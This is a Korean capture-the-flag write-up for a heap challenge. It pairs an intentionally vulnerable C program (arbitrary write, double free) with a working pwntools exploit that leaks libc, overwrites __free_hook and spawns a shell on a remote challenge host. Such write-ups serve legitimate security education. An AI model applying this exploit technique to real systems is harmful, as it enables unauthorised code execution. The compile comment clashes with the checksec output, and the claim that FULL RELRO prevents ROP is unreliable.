// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
stdout 주소를 출력한다(libc에 있는)
read로 읽기 전 ptr의 크기와 read의 읽는 크기를 설정해준다
read로 ptr에 동적 할당의 데이터를 집어 넣을 수 있게 읽는다.
free 두번으로 에러가 뜬다
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
FULL RELRO이므로 ROPgadget은 못한다
코드에서 stdout
의 주소를 노출하고 있다. 그 주소로 libc에 베이스를 구한다(stdout
은 libc에 있다)베이스를 구한 뒤 그 베이스의 주소로 __free_hook
의 주소를 구한다. Size:
뒤에는 rread의 크기를 지정해주고 있으므로 충분하게 설정해준 뒤 *(long *)*ptr = *(ptr+1);
이 코드는 위에 read(0, ptr, size);
를 통해 접근할 수 있다. ptr에 값을 __free_hook
의 주소를 넣어주게 되면 저 코드 (long *)*ptr
은 __free_hook
을 가르키게 된다. read에 free hook에 주소를 넣어 준 뒤에 우리가 원하는 값에 주소를 넣게 되면 그 값이 (ptr+1)
이 되게 된다. 여기에 one_gadget을 넣어줘도 되지만 pie가 적용되지 않았으므로 main에 있는 system 함수의 주소를 넣어주게 되면 익스플로잇이 된다.
먼저 system 함수의 주소는 0x0400a11 이다.
sys_bin = 0x0400a11
그 뒤 stdout
의 주소가 노출된 부분을 가져와 libc에 베이스를 구한뒤 __free_hook
의 주소를 구한다.
p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
libc_free_hook = libc_base + libc.symbols['__free_hook']
read 크기 설정과 (long *)*ptr
의 주소와 (ptr+1)
의 주소를 우리가 마음대로 바꾼다
→__free_hook
의 주소 및 main에 있는 system(”/bin/sh”);
의 주소로 바꿔준다
from pwn import *
# context.log_level = 'debug'
# p = process('./hook')
p = remote('host3.dreamhack.games', 23807)
libc = ELF('./libc-2.23.so')
#main system 주소(pie가 안되어있기 때문에 가능함)
sys_bin = 0x0400a11
#stdout 주소 가져오기
p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)
# libc 베이스 및 __free_hook 주소 구하기
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(hex(libc_base))
# read 크기 설정
p.recvuntil("Size: ")
p.sendline("400")
# ptr 동적 할당에 값 넣어주기 -> free hook overwrite
p.recvuntil("Data: ")
p.sendline(p64(libc_free_hook) + p64(sys_bin))
p.interactive()